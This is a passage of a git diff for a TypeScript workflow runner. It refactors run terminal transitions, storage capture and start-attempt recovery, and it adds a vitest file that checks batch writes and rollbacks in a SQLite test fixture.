               lifecycle.deadlineAt === cas.expectedDeadlineAt),
-          cleanup: {
-            revision: lifecycle.revision,
-            status: lifecycle.terminal.status,
-            cleanupCompleted:
-              lifecycle.terminal.cleanupCompletedAt !== undefined,
-            ...(lifecycle.scheduleDispatch
-              ? { scheduleDispatch: lifecycle.scheduleDispatch }
-              : {}),
-          },
+          cleanup: terminalCleanupFor(lifecycle) as RunTerminalCleanup,
         };
       }
       const transitionIntent = lifecycle?.transitionIntent;
@@ -1662,7 +2101,12 @@ export class RunnerRuntime {
           lifecycle.deadlineAt > now)
       ) {
         return {
-          summary: await this.#summaryAfterPersist(workflowId, runId),
+          summary: await this.#summaryAfterPersist(
+            workflowId,
+            runId,
+            source,
+            runProvenance(state),
+          ),
           transitioned: false,
           casMatched: false,
           cleanup: {
@@ -1693,10 +2137,6 @@ export class RunnerRuntime {
       ) {
         throw new RunTerminalConflictError(workflowId, runId, currentStatus);
       }
-      const error: RunTerminalErrorEnvelope =
-        status === 'cancelled'
-          ? { code: 'CANCELLED', message: 'run was cancelled' }
-          : { code: 'TIMED_OUT', message: 'run deadline expired' };
       const provenance = runProvenance(state);
       const fallbackPrincipal: RunLifecyclePrincipal =
         provenance?.requestedBy && provenance.requestedByKind
@@ -1709,64 +2149,35 @@ export class RunnerRuntime {
         replayPrincipals ??
           transitionIntent?.replayPrincipals ?? [fallbackPrincipal],
       );
-      const lifecycleBase = lifecycle
-        ? Object.fromEntries(
-            Object.entries(lifecycle).filter(
-              ([key]) => key !== 'transitionIntent',
-            ),
-          )
-        : { version: 1 as const, revision: 0 };
-      const next: RunLifecycleState = {
-        ...lifecycleBase,
-        version: 1,
-        revision: (lifecycle?.revision ?? 0) + 1,
-        terminal: {
-          status,
-          error,
-          transitionedAt: now,
-          replayPrincipals: principals,
-        },
-      };
+      const next = projectTerminalLifecycle(lifecycle, status, now, principals);
       await this.#persistLifecycle(
         workflowId,
         runId,
         {
           ...state,
-          status: status as WorkflowRunStatus,
-          result: undefined,
+          ...terminalStateFields(status),
           error: {
             name:
               status === 'cancelled' ? 'RunCancelledError' : 'RunTimedOutError',
-            message: error.message,
+            message: next.terminal.error.message,
           },
-          suspendedPaths: {},
-          waitingPaths: {},
-          resumeLabels: {},
-          activePaths: [],
-          activeStepsPath: {},
           timestamp: now,
         },
         next,
         now,
+        source,
       );
       this.#terminalAbortIntents.delete(this.#runKey(workflowId, runId));
-      // Cancel and timeout are terminal too: a run killed by an operator or by
-      // its deadline spends its idempotency key exactly as a completed one does,
-      // and a key left unspent here would keep a dead run in the drain
-      // inventory forever.
-      await this.#settleStartReservation(runId);
       return {
-        summary: await this.#summaryAfterPersist(workflowId, runId),
+        summary: await this.#summaryAfterPersist(
+          workflowId,
+          runId,
+          source,
+          runProvenance(state),
+        ),
         transitioned: true,
         casMatched: true,
-        cleanup: {
-          revision: next.revision,
-          status,
-          cleanupCompleted: false,
-          ...(next.scheduleDispatch
-            ? { scheduleDispatch: next.scheduleDispatch }
-            : {}),
-        },
+        cleanup: terminalCleanupFor(next) as RunTerminalCleanup,
       };
     });
   }
@@ -1780,8 +2191,16 @@ export class RunnerRuntime {
   ): Promise<RunSummary> {
     this.#getWorkflow(workflowId);
     return this.#withRunLock(workflowId, runId, async () => {
-      const state = await this.#loadSnapshot(workflowId, runId);
+      const source = await this.#captureWorkflowStorage(
+        this.#getWorkflow(workflowId),
+      );
+      const state = await source.load.call(source.workflows, {
+        workflowName: workflowId,
+        runId,
+      });
       if (!state) throw new UnknownRunError(workflowId, runId);
+      if (state.runId !== runId)
+        throw new RunStateUnreadableError(workflowId, runId);
       const lifecycle = lifecycleFromRequestContext(state.requestContext);
       if (!lifecycle?.terminal) {
         throw new RunTerminalConflictError(
@@ -1791,21 +2210,31 @@ export class RunnerRuntime {
         );
       }
       if (lifecycle.terminal.cleanupCompletedAt !== undefined) {
-        return this.#summaryAfterPersist(workflowId, runId);
+        return this.#summaryAfterPersist(
+          workflowId,
+          runId,
+          source,
+          runProvenance(state),
+        );
       }
       if (lifecycle.revision !== expectedRevision) {
         throw new Error('run terminal cleanup CAS no longer matches');
       }
       const next: RunLifecycleState = {
         ...lifecycle,
-        revision: lifecycle.revision + 1,
+        revision: nextLifecycleRevision(lifecycle.revision),
         terminal: {
           ...lifecycle.terminal,
           cleanupCompletedAt: now,
         },
       };
-      await this.#persistLifecycle(workflowId, runId, state, next, now);
-      return this.#summaryAfterPersist(workflowId, runId);
+      await this.#persistLifecycle(workflowId, runId, state, next, now, source);
+      return this.#summaryAfterPersist(
+        workflowId,
+        runId,
+        source,
+        runProvenance(state),
+      );
     });
   }
 
@@ -1841,8 +2270,8 @@ export class RunnerRuntime {
    * that did not reach storage. `null` still means the read SUCCEEDED and
    * found nothing.
    *
-   * status() stays the projection read, unchanged for every existing caller:
-   * a summary is still the best answer an HTTP status route can give.
+   * Both status readers refuse a valid v2 pending row before lifecycle
+   * projection; it has no durable execution outcome yet.
    */
   async authoritativeStatus(
     workflowId: string,
@@ -1857,53 +2286,510 @@ export class RunnerRuntime {
     return this.#summaryFromState(runId, state);
   }
 
-  /**
-   * Reconcile an interrupted start against the token stored in the
-   * authoritative workflow snapshot. Mastra's `createRun()` first persists a
-   * tokenless pending shell; if no executed snapshot replaced it, the shell is
-   * abandoned and must not become a successful FlowSafe run.
-   */
-  async recoverStartAttempt(
+  /** @internal Include ordinary v1 and unversioned data from the selected row. */
+  authoritativeStartState(
     workflowId: string,
     runId: string,
-    attemptToken: string,
-  ): Promise<RunSummary | null> {
-    if (!isPathSafeId(attemptToken)) {
-      throw new InvalidRunRequestError('attemptToken is malformed');
+    options: { readonly includeLegacy: true },
+  ): Promise<AuthoritativeStartState | LegacyRunState | null>;
+  /** @internal Read only modern generation and root-local result data. */
+  authoritativeStartState(
+    workflowId: string,
+    runId: string,
+  ): Promise<AuthoritativeStartState | null>;
+  async authoritativeStartState(
+    workflowId: string,
+    runId: string,
+    options?: { readonly includeLegacy: true },
+  ): Promise<AuthoritativeStartState | LegacyRunState | null> {
+    const includeLegacy = options?.includeLegacy === true;
+    const { state } = await this.#observeStartState(workflowId, runId);
+    if (state?.kind === 'legacy' && !includeLegacy)
+      throw new RunStateUnreadableError(workflowId, runId);
+    return state;
+  }
+
+  async #captureWorkflowStorage(
+    workflow: AnyWorkflow,
+  ): Promise<CapturedWorkflowStorage> {
+    const workflows = await workflow.mastra
+      ?.getStorage()
+      ?.getStore('workflows');
+    if (!workflows) throw new Error('workflow storage is unavailable');
+    const methods = {
+      workflows,
+      read: workflows.getWorkflowRunById,
+      load: workflows.loadWorkflowSnapshot,
+      persist: workflows.persistWorkflowSnapshot,
+    };
+    const capability = (
+      workflows as WorkflowsStorage & {
+        [FENCED_WORKFLOW_STORAGE]?: FencedWorkflowAdmissionCapability;
+      }
+    )[FENCED_WORKFLOW_STORAGE];
+    if (capability === undefined) {
+      if (this.#executionFence)
+        throw new Error('fenced workflow storage capability is unavailable');
+      return { ...methods, storage: 'unfenced', tablePrefix: null };
     }
+    if (capability === null || typeof capability !== 'object')
+      throw new Error('workflow capability is malformed');
+    const {
+      database,
+      tablePrefix: prefix,
+      readSnapshot,
+      withInitialAdmission: admit,
+      terminalizeInitialAdmission: terminalize,
+    } = capability;
+    if (
+      typeof prefix !== 'string' ||
+      typeof readSnapshot !== 'function' ||
+      typeof admit !== 'function' ||
+      typeof terminalize !== 'function' ||
+      !database ||
+      typeof database.prepare !== 'function' ||
+      typeof database.batch !== 'function'
+    )
+      throw new Error('workflow capability is malformed');
+    validateTablePrefix(prefix);
+    if (
+      (this.#executionFence && !this.#executionFence.usesDatabase(database)) ||
+      (this.#startIdempotency && !this.#startIdempotency.usesDatabase(database))
+    )
+      throw new Error('workflow storage binding disagrees with runtime stores');
+    return {
+      ...methods,
+      storage: 'd1',
+      tablePrefix: prefix.toLowerCase(),
+      capability,
+      database,
+      readSnapshot,
+      admit,
+      terminalize,
+    };
+  }
+
+  async #observeStartState(
+    workflowId: string,
+    runId: string,
+  ): Promise<{
+    source: CapturedWorkflowStorage;
+    state: AuthoritativeStartState | LegacyRunState | null;
+  }> {
+    if (!isPathSafeId(workflowId))
+      throw new InvalidRunRequestError('workflowId is malformed');
+    if (!isPathSafeId(runId))
+      throw new InvalidRunRequestError('runId is malformed');
     const workflow = this.#getWorkflow(workflowId);
-    return this.#withRunLock(workflowId, runId, async () => {
-      const state = await this.#workflowState(workflow, runId);
-      if (!state) return null;
-      // A read that did not reach storage cannot settle an interrupted start.
-      // The in-memory fallback carries no requestContext, so the token below
-      // can never match, and the 'pending' status it reports for a run that
-      // has not been resumed falls straight into the delete branch — which
-      // would destroy a live row and its snapshot behind a lagging read. The
-      // throw defers only a no-op: under the marker either the row exists, and
-      // deleting it destroys live state, or it does not, and the delete does
-      // nothing. A genuinely abandoned shell on an isolate that holds no Run
-      // carries no marker and converges here exactly as before.
-      if (state.isFromInMemory === true) {
-        throw new RunStateUnreadableError(workflowId, runId);
-      }
-      const provenance = runProvenance(state);
-      if (provenance?.startToken === attemptToken) {
-        return summarizeState(
+    try {
+      const source = await this.#captureWorkflowStorage(workflow);
+      return {
+        source,
+        state: await this.#readStartState(source, workflowId, runId),
+      };
+    } catch (cause) {
+      if (cause instanceof RunStateUnreadableError) throw cause;
+      throw new RunStateUnreadableError(workflowId, runId, { cause });
+    }
+  }
+
+  #projectD1StartState(
+    source: Extract<CapturedWorkflowStorage, { storage: 'd1' }>,
+    workflowId: string,
+    runId: string,
+    observed: RawWorkflowSnapshot,
+  ): AuthoritativeStartState | LegacyRunState {
+    for (const key of [
+      'tablePrefix',
+      'workflowId',
+      'runId',
+      'resourceId',
+      'snapshot',
+      'createdAt',
+      'updatedAt',
+    ]) {
+      if (!Object.hasOwn(observed, key))
+        throw new Error('workflow snapshot field is missing');
+    }
+    const {
+      tablePrefix,
+      workflowId: storedWorkflow,
+      runId: storedRun,
+      resourceId,
+      snapshot,
+      createdAt,
+      updatedAt,
+    } = observed;
+    if (
+      tablePrefix !== source.tablePrefix ||
+      storedWorkflow !== workflowId ||
+      storedRun !== runId ||
+      (resourceId !== null && typeof resourceId !== 'string') ||
+      typeof snapshot !== 'string' ||
+      typeof createdAt !== 'string' ||
+      typeof updatedAt !== 'string'
+    )
+      throw new Error('workflow snapshot fields are malformed');
+    const raw = Object.freeze({
+      tablePrefix,
+      workflowId,
+      runId,
+      resourceId,
+      snapshot,
+      createdAt,
+      updatedAt,
+    });
+    return this.#projectStartState(
+      { storage: 'd1', tablePrefix, raw },
+      workflowId,
+      runId,
+      JSON.parse(snapshot),
+      createdAt,
+      updatedAt,
+    );
+  }
+
+  async #readStartState(
+    source: CapturedWorkflowStorage,
+    workflowId: string,
+    runId: string,
+  ): Promise<AuthoritativeStartState | LegacyRunState | null> {
+    try {
+      let state: AuthoritativeStartState | LegacyRunState | null;
+      if (source.storage === 'd1') {
+        const row = await source.readSnapshot.call(source.capability, {
+          workflowId,
           runId,
-          state,
-          new Map(provenance.resumeCounts),
-          provenance.requestedBy,
-          provenance.requestedByKind,
+        });
+        state =
+          row === undefined
+            ? null
+            : this.#projectD1StartState(source, workflowId, runId, row);
+      } else {
+        const row = await source.read.call(source.workflows, {
+          workflowName: workflowId,
+          runId,
+        });
+        if (row === null) return null;
+        const {
+          workflowName,
+          runId: storedRun,
+          snapshot,
+          createdAt,
+          updatedAt,
+        } = row;
+        if (workflowName !== workflowId || storedRun !== runId)
+          throw new Error(
+            'workflow snapshot selector disagrees with the request',
+          );
+        state = this.#projectStartState(
+          source,
+          workflowId,
+          runId,
+          typeof snapshot === 'string'
+            ? JSON.parse(snapshot)
+            : structuredClone(snapshot),
+          createdAt,
+          updatedAt,
         );
       }
-      if (state.status === 'pending' && provenance === undefined) {
-        await workflow.deleteWorkflowRunById(runId);
-        return null;
-      }
-      throw new Error(
-        `run '${runId}' snapshot belongs to another start attempt`,
+      return state;
+    } catch (cause) {
+      throw new RunStateUnreadableError(workflowId, runId, { cause });
+    }
+  }
+
+  #projectStartState(
+    physical:
+      | { storage: 'd1'; tablePrefix: string; raw: RawWorkflowSnapshot }
+      | { storage: 'unfenced'; tablePrefix: null },
+    workflowId: string,
+    runId: string,
+    decoded: unknown,
+    createdAt: Date | string,
+    updatedAt: Date | string,
+  ): AuthoritativeStartState | LegacyRunState {
+    if (
+      decoded === null ||
+      typeof decoded !== 'object' ||
+      Array.isArray(decoded)
+    )
+      throw new Error('workflow snapshot is malformed');
+    const snapshot = decoded as WorkflowRunState;
+    if (snapshot.runId !== runId || !isRunStatus(snapshot.status))
+      throw new Error('workflow snapshot identity or status is malformed');
+    for (const value of [
+      snapshot.requestContext,
+      snapshot.context,
+      snapshot.suspendedPaths,
+    ]) {
+      if (
+        value !== undefined &&
+        (value === null || typeof value !== 'object' || Array.isArray(value))
+      )
+        throw new Error('workflow snapshot container is malformed');
+    }
+    const provenance = runProvenance(snapshot);
+    lifecycleFromRequestContext(snapshot.requestContext);
+    for (const value of [createdAt, updatedAt]) {
+      if (!(value instanceof Date) && typeof value !== 'string')
+        throw new Error('workflow snapshot timestamp is malformed');
+      if (!Number.isFinite(new Date(value).getTime()))
+        throw new Error('workflow snapshot timestamp is malformed');
+    }
+    if (provenance?.version !== 2)
+      return {
+        kind: 'legacy',
+        provenanceVersion: provenance?.version,
+        address: Object.freeze({
+          tablePrefix: physical.tablePrefix,
+          workflowId,
+          runId,
+        }),
+        snapshot,
+        summary: summaryFromSelectedSnapshot(
+          runId,
+          snapshot,
+          { createdAt: toIso(createdAt), updatedAt: toIso(updatedAt) },
+          provenance,
+        ),
+      };
+    const execution = runExecutionIdentityFor(
+      { tablePrefix: physical.tablePrefix, workflowId, runId },
+      provenance,
+    );
+    const state =
+      snapshot.status === 'pending'
+        ? { kind: 'initial' as const, snapshot, provenance }
+        : {
+            kind: 'result' as const,
+            snapshot,
+            provenance,
+            summary: summaryFromSelectedSnapshot(
+              runId,
+              snapshot,
+              { createdAt: toIso(createdAt), updatedAt: toIso(updatedAt) },
+              provenance,
+            ),
+          };
+    return physical.storage === 'd1'
+      ? {
+          ...state,
+          storage: 'd1',
+          execution: Object.freeze({
+            ...execution,
+            tablePrefix: physical.tablePrefix,
+          }),
+          raw: physical.raw,
+        }
+      : {
+          ...state,
+          storage: 'unfenced',
+          execution: Object.freeze({ ...execution, tablePrefix: null }),
+        };
+  }
+
+  /** @internal Recover only after the exact owning execution has unwound. */
+  async recoverStartAttempt(
+    value: D1RunExecutionIdentity,
+    recovery: {
+      attemptToken: string;
+      isOwnerQuiescent: () => boolean | Promise<boolean>;
+      startReservation?: StartReservationReading;
+      expectedTarget?: RecoveryTargetExpectation;
+    },
+  ): Promise<RecoveredStart | null> {
+    const execution = normalizeD1RunExecutionIdentity(value);
+    const {
+      attemptToken,
+      isOwnerQuiescent,
+      startReservation: suppliedClaim,
+      expectedTarget: suppliedTarget,
+    } = recovery;
+    let expectedTarget: RecoveryTargetExpectation | undefined;
+    if (suppliedTarget !== undefined) {
+      if (
+        suppliedTarget === null ||
+        typeof suppliedTarget !== 'object' ||
+        Array.isArray(suppliedTarget)
+      )
+        throw new InvalidRunRequestError('start recovery target is malformed');
+      const { kind } = suppliedTarget;
+      if (kind === 'workflow') expectedTarget = Object.freeze({ kind });
+      else if (kind === 'agent') {
+        const { owner, id, threadId, threaded } = suppliedTarget;
+        const identity = normalizeStartIdentity({
+          owner,
+          target: { kind, id, threadId },
+        });
+        if (typeof threaded !== 'boolean')
+          throw new InvalidRunRequestError(
+            'start recovery target is malformed',
+          );
+        expectedTarget = Object.freeze({
+          kind,
+          id: identity.target.id,
+          threadId,
+          owner: identity.owner,
+          threaded,
+        });
+      } else
+        throw new InvalidRunRequestError('start recovery target is malformed');
+    }
+    const assertExpectedTarget = (state: AuthoritativeStartState): void => {
+      if (!expectedTarget) return;
+      const { startIdentity, agentStart } = state.provenance;
+      if (expectedTarget.kind === 'workflow') {
+        if (
+          startIdentity?.target.kind !== 'workflow' ||
+          startIdentity.target.id !== state.execution.workflowId ||
+          agentStart !== undefined
+        )
+          throw new Error('recovery workflow target disagrees with execution');
+      } else if (
+        startIdentity?.target.kind !== 'agent' ||
+        startIdentity.target.id !== expectedTarget.id ||
+        startIdentity.target.threadId !== expectedTarget.threadId ||
+        startIdentity.owner.kind !== expectedTarget.owner.kind ||
+        startIdentity.owner.id !== expectedTarget.owner.id ||
+        agentStart?.threaded !== expectedTarget.threaded
+      )
+        throw new Error('recovery agent target disagrees with execution');
+    };
+    const claim =
+      suppliedClaim === undefined
+        ? undefined
+        : captureReservation(suppliedClaim, 'started');
+    if (!isPathSafeId(attemptToken) || typeof isOwnerQuiescent !== 'function')
+      throw new InvalidRunRequestError('start recovery authority is malformed');
+    if (claim && !this.#startIdempotency)
+      throw new ExecutionFenceUnreadableError(
+        'run start recovery is unresolved',
       );
+    const { workflowId, runId } = execution;
+    const workflow = this.#getWorkflow(workflowId);
+    return this.#withRunLock(workflowId, runId, () =>
+      this.#withLifecycleLock(workflowId, runId, async () => {
+        try {
+          if (this.isRunActive(workflowId, runId))
+            throw new Error('run owner is not quiescent');
+          const source = await this.#captureWorkflowStorage(workflow);
+          if (
+            this.isRunActive(workflowId, runId) ||
+            (await Reflect.apply(isOwnerQuiescent, undefined, [])) !== true ||
+            this.isRunActive(workflowId, runId)
+          )
+            throw new Error('run owner is not quiescent');
+          const state = await this.#readStartState(source, workflowId, runId);
+          if (state?.kind === 'legacy')
+            throw new RunStateUnreadableError(workflowId, runId);
+          if (
+            source.storage !== 'd1' ||
+            source.tablePrefix !== execution.tablePrefix
+          )
+            throw new Error('recovery source disagrees with execution');
+          if (!state) return null;
+          if (!sameExecution(state.execution, execution))
+            throw new Error('recovery generation disagrees with execution');
+          assertExpectedTarget(state);
+          if (claim) {
+            if (!state.provenance.startIdentity)
+              throw new Error('recovery lacks logical identity');
+            assertClaimIdentity(claim, {
+              ...state.provenance.startIdentity,
+              runId,
+            });
+          }
+          let selected = state;
+          let transitioned = false;
+          let cleanup = terminalCleanupFor(
+            lifecycleFromRequestContext(state.snapshot.requestContext),
+          );
+          if (state.kind === 'initial') {
+            if (
+              !this.#executionFence ||
+              state.storage !== 'd1' ||
+              state.provenance.initialAdmission !== true ||
+              state.provenance.attemptToken !== attemptToken ||
+              state.provenance.resumeCounts.length !== 0
+            )
+              throw new RunStartPendingError();
+            const result = await source.terminalize.call(source.capability, {
+              expected: state.raw,
+              execution,
+              attemptToken,
+              nowMs: Date.now(),
+            });
+            if (result.kind === 'conflict')
+              throw new Error('initial terminalization conflicts');
+            const projected = this.#projectD1StartState(
+              source,
+              workflowId,
+              runId,
+              result.row,
+            );
+            if (
+              projected.kind !== 'result' ||
+              !sameExecution(projected.execution, execution)
+            )
+              throw new Error('terminalization result is unresolved');
+            selected = projected;
+            assertExpectedTarget(selected);
+            transitioned = result.kind === 'terminalized';
+            cleanup = result.cleanup;
+          }
+          if (selected.kind !== 'result') throw new RunStartPendingError();
+          if (isTerminalRunStatus(selected.summary.status))
+            await this.settleStartExecution(selected, claim);
+          return cleanup
+            ? {
+                kind: 'lifecycle',
+                transition: {
+                  summary: selected.summary,
+                  transitioned,
+                  casMatched: true,
+                  cleanup,
+                },
+              }
+            : { kind: 'ordinary', summary: selected.summary };
+        } catch (cause) {
+          if (
+            cause instanceof RunStartPendingError ||
+            cause instanceof RunStateUnreadableError
+          )
+            throw cause;
+          throw new ExecutionFenceUnreadableError(
+            'run start recovery is unresolved',
+            { cause },
+          );
+        }
+      }),
+    );
+  }
+
+  /** @internal Settle the exact selected terminal generation before managed cleanup. */
+  async settleStartExecution(
+    state: AuthoritativeStartState,
+    originalClaim?: StartReservationReading,
+  ): Promise<void> {
+    const claim =
+      originalClaim === undefined
+        ? undefined
+        : captureReservation(originalClaim, 'started');
+    if (state.kind !== 'result' || !isTerminalRunStatus(state.summary.status))
+      throw new RunStartPendingError();
+    const identity = state.provenance.startIdentity;
+    if (claim) {
+      if (!identity || !this.#startIdempotency)
+        throw new ExecutionFenceUnreadableError(
+          'run start settlement is unresolved',
+        );
+      assertClaimIdentity(claim, { ...identity, runId: state.execution.runId });
+    }
+    if (!identity || !this.#startIdempotency) return;
+    await this.#startIdempotency.settleExecution({
+      ...state.execution,
+      ...identity,
     });
   }
 
@@ -2023,10 +2909,12 @@ export class RunnerRuntime {
     const priorCounts = new Map(storedProvenance?.resumeCounts ?? []);
     const nextCounts = new Map(priorCounts);
     if (stepKey !== undefined) {
-      nextCounts.set(stepKey, (nextCounts.get(stepKey) ?? 0) + 1);
+      nextCounts.set(stepKey, nextResumeCount(nextCounts.get(stepKey) ?? 0));
     }
     const provenance: RunProvenance = {
-      version: 1,
+      ...(storedProvenance?.version === 2
+        ? storedProvenance
+        : { version: 1 as const }),
       ...(requester === undefined
         ? {}
         : { requestedBy: requester, requestedByKind: requesterKind }),
@@ -2043,7 +2931,7 @@ export class RunnerRuntime {
         ? storedLifecycle
         : {
             ...(storedLifecycle ?? { version: 1 as const, revision: 0 }),
-            revision: (storedLifecycle?.revision ?? 0) + 1,
+            revision: nextLifecycleRevision(storedLifecycle?.revision ?? 0),
             ...(replacementDeadline === undefined
               ? {}
               : { deadlineAt: replacementDeadline }),
@@ -2079,19 +2967,12 @@ export class RunnerRuntime {
   #workflowState(
     workflow: AnyWorkflow,
     runId: string,
+    withNestedWorkflows = false,
   ): Promise<WorkflowState | null> {
-    return workflow.getWorkflowRunById(runId, { fields: RUN_STATE_FIELDS });
-  }
-
-  async #loadSnapshot(
-    workflowId: string,
-    runId: string,
-  ): Promise<WorkflowRunState | null> {
-    const workflows = await this.#storage.getStore('workflows');
-    if (!workflows) {
-      throw new Error('RunnerRuntime: workflows storage is unavailable');
-    }
-    return workflows.loadWorkflowSnapshot({ workflowName: workflowId, runId });
+    return workflow.getWorkflowRunById(runId, {
+      fields: RUN_STATE_FIELDS,
+      withNestedWorkflows,
+    });
   }
 
   async #persistLifecycle(
@@ -2100,11 +2981,9 @@ export class RunnerRuntime {
     state: WorkflowRunState,
     lifecycle: RunLifecycleState,
     now: number,
+    source: CapturedWorkflowStorage,
   ): Promise<WorkflowRunState> {
-    const workflows = await this.#storage.getStore('workflows');
-    if (!workflows) {
-      throw new Error('RunnerRuntime: workflows storage is unavailable');
-    }
+    const workflows = source.workflows;
     const persisted: WorkflowRunState = {
       ...state,
       requestContext: {
@@ -2113,7 +2992,7 @@ export class RunnerRuntime {
       },
       timestamp: now,
     };
-    await workflows.persistWorkflowSnapshot({
+    await source.persist.call(workflows, {
       workflowName: workflowId,
       runId,
       snapshot: persisted,
@@ -2125,7 +3004,22 @@ export class RunnerRuntime {
   async #summaryAfterPersist(
     workflowId: string,
     runId: string,
+    source: CapturedWorkflowStorage,
+    expected: RunProvenance | undefined,
   ): Promise<RunSummary> {
+    if (expected?.version === 2) {
+      const selected = await this.#completedStartState(
+        source,
+        runExecutionIdentityFor(
+          { tablePrefix: source.tablePrefix, workflowId, runId },
+          expected,
+        ),
+        expected,
+      );
+      if (isTerminalRunStatus(selected.summary.status))
+        await this.settleStartExecution(selected);
+      return selected.summary;
+    }
     const state = await this.#workflowState(
       this.#getWorkflow(workflowId),
       runId,
@@ -2136,6 +3030,8 @@ export class RunnerRuntime {
 
   #summaryFromState(runId: string, state: WorkflowState): RunSummary {
     const provenance = runProvenance(state);
+    if (state.status === 'pending' && provenance?.version === 2)
+      throw new RunStartPendingError();
     return summarizeState(
       runId,
       state,
@@ -2148,19 +3044,50 @@ export class RunnerRuntime {
   async #summaryForAttempt(
     workflow: AnyWorkflow,
     runId: string,
-    attemptToken: string,
+    expected: Pick<RunProvenance, 'version' | 'startToken' | 'attemptToken'>,
   ): Promise<RunSummary | undefined> {
-    const persisted = await this.#workflowState(workflow, runId);
-    if (!persisted) return undefined;
-    const provenance = runProvenance(persisted);
-    if (provenance?.attemptToken !== attemptToken) return undefined;
-    return summarizeState(
-      runId,
-      persisted,
-      new Map(provenance.resumeCounts),
-      provenance.requestedBy,
-      provenance.requestedByKind,
-    );
+    try {
+      if (expected.version === 2) {
+        const source = this.#activeRuns.get(
+          this.#runKey(workflow.id, runId),
+        )?.source;
+        if (!source) return undefined;
+        const state = await this.#completedStartState(
+          source,
+          {
+            tablePrefix: source.tablePrefix,
+            workflowId: workflow.id,
+            runId,
+            startToken: expected.startToken,
+          },
+          expected,
+        );
+        await this.#settleStartReservation(state);
+        return state.summary;
+      }
+      const persisted = await this.#workflowState(workflow, runId);
+      if (
+        !persisted ||
+        persisted.isFromInMemory ||
+        persisted.status === 'pending'
+      )
+        return undefined;
+      const provenance = runProvenance(persisted);
+      if (
+        provenance?.version !== expected.version ||
+        provenance.attemptToken !== expected.attemptToken
+      )
+        return undefined;
+      return summarizeState(
+        runId,
+        persisted,
+        new Map(provenance.resumeCounts),
+        provenance.requestedBy,
+        provenance.requestedByKind,
+      );
+    } catch {
+      return undefined;
+    }
   }
 
   async #reconcileTerminalState(
@@ -2168,17 +3095,14 @@ export class RunnerRuntime {
     runId: string,
     result: CoreRunResult,
     requestContext: RequestContext,
+    source: CapturedWorkflowStorage,
+    proof?: D1RunExecutionIdentity,
   ): Promise<void> {
     const opts = terminalStateUpdate(result);
     if (!opts) return;
     await this.#withLifecycleLock(workflowId, runId, async () => {
-      const workflows = await this.#storage.getStore('workflows');
-      if (!workflows) {
-        throw new Error(
-          'RunnerRuntime: workflows storage is unavailable while persisting terminal state',
-        );
-      }
-      const snapshot = await workflows.loadWorkflowSnapshot({
+      const workflows = source.workflows;
+      const snapshot = await source.load.call(workflows, {
         workflowName: workflowId,
         runId,
       });
@@ -2187,6 +3111,28 @@ export class RunnerRuntime {
           `RunnerRuntime: run '${runId}' of workflow '${workflowId}' completed without a durable snapshot`,
         );
       }
+      if (snapshot.runId !== runId)
+        throw new RunStateUnreadableError(workflowId, runId);
+      const expected = runProvenance({
+        requestContext: Object.fromEntries(requestContext.entries()),
+      });
+      const persisted = runProvenance(snapshot);
+      if (
+        expected?.version === 2 &&
+        ((persisted !== undefined &&
+          (persisted.version !== 2 ||
+            persisted.startToken !== expected.startToken)) ||
+          (this.#executionFence && persisted?.version !== 2))
+      )
+        throw new RunStateUnreadableError(workflowId, runId);
+      if (proof)
+        await this.#assertRetainedResume(
+          source,
+          workflowId,
+          runId,
+          expected,
+          proof,
+        );
       const persistedContext =
         snapshot.requestContext !== null &&
         typeof snapshot.requestContext === 'object' &&
@@ -2227,7 +3173,7 @@ export class RunnerRuntime {
       ) {
         return;
       }
-      await workflows.persistWorkflowSnapshot({
+      await source.persist.call(workflows, {
         workflowName: workflowId,
         runId,
         snapshot: {
@@ -2238,11 +3184,6 @@ export class RunnerRuntime {
         },
       });
     });
-    // The run is terminal and its snapshot now says so, so any idempotency key
-    // that named it is spent. AFTER the persist, never before: a reservation
-    // marked terminal ahead of a persist that then failed would answer a retry
-    // with ALREADY_SETTLED for a run whose settled state exists nowhere.
-    await this.#settleStartReservation(runId);
   }
 
   #getWorkflow(workflowId: string): AnyWorkflow {
diff --git a/packages/flowsafe/src/do-runner/sqlite-fixture.test.ts b/packages/flowsafe/src/do-runner/sqlite-fixture.test.ts
new file mode 100644
index 00000000..48935e55
--- /dev/null
+++ b/packages/flowsafe/src/do-runner/sqlite-fixture.test.ts
@@ -0,0 +1,85 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { describe, expect, it } from 'vitest';
+import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js';
+import type { InitialAdmissionDatabase } from './fenced-workflow-capability.js';
+
+// PLACEMENT: the erased pins that hold sqliteUnitDatabase's declared return
+// against the D1 subsets these cases name live beside the D1 side of the same
+// seam, in test-support/d1-type-compatibility.ts. `architecture:check:rules`
+// drops packages/flowsafe/src/**/*.test.ts, so a pin written here would sit
+// outside the graph that gate reads.
+
+describe('native SQLite unit batch transport', () => {
+  it('returns actual rows, executes DML once and preserves changes through SELECT', async () => {
+    const sqlite = openSqlite();
+    sqlite.exec('CREATE TABLE fixture (id INTEGER PRIMARY KEY, value TEXT)');
+    const db: InitialAdmissionDatabase = sqliteUnitDatabase(sqlite);
+    const results = await db.batch([
+      db.prepare("INSERT INTO fixture(value) VALUES ('initial') RETURNING *"),
+      db.prepare('SELECT * FROM fixture WHERE id = 0'),
+      db.prepare(
+        "UPDATE fixture SET value = 'bound' WHERE changes() = 1 RETURNING *",
+      ),
+    ]);
+    expect(results).toEqual([
+      {
+        success: true,
+        results: [{ id: 1, value: 'initial' }],
+        meta: { changes: 1 },
+      },
+      { success: true, results: [], meta: { changes: 1 } },
+      {
+        success: true,
+        results: [{ id: 1, value: 'bound' }],
+        meta: { changes: 1 },
+      },
+    ]);
+    expect(sqlite.prepare('SELECT * FROM fixture').all()).toEqual([
+      { id: 1, value: 'bound' },
+    ]);
+    expect(
+      await db.prepare("INSERT INTO fixture(value) VALUES ('ordinary')").run(),
+    ).toEqual({ success: true, results: [], meta: { changes: 1 } });
+    expect(
+      await db.prepare('SELECT value FROM fixture WHERE id = 2').all(),
+    ).toEqual({ success: true, results: [{ value: 'ordinary' }], meta: {} });
+  });
+
+  it('rolls back preceding native writes when a later statement throws', async () => {
+    const sqlite = openSqlite();
+    sqlite.exec('CREATE TABLE fixture (id INTEGER PRIMARY KEY, value TEXT)');
+    const db: InitialAdmissionDatabase = sqliteUnitDatabase(sqlite);
+    await expect(
+      db.batch([
+        db.prepare("INSERT INTO fixture VALUES (1, 'first') RETURNING *"),
+        db.prepare('INSERT INTO missing_fixture VALUES (2)'),
+      ]),
+    ).rejects.toThrow('no such table');
+    expect(sqlite.prepare('SELECT * FROM fixture').all()).toEqual([]);
+  });
+
+  it('makes zero DML stop a following changes chain', async () => {
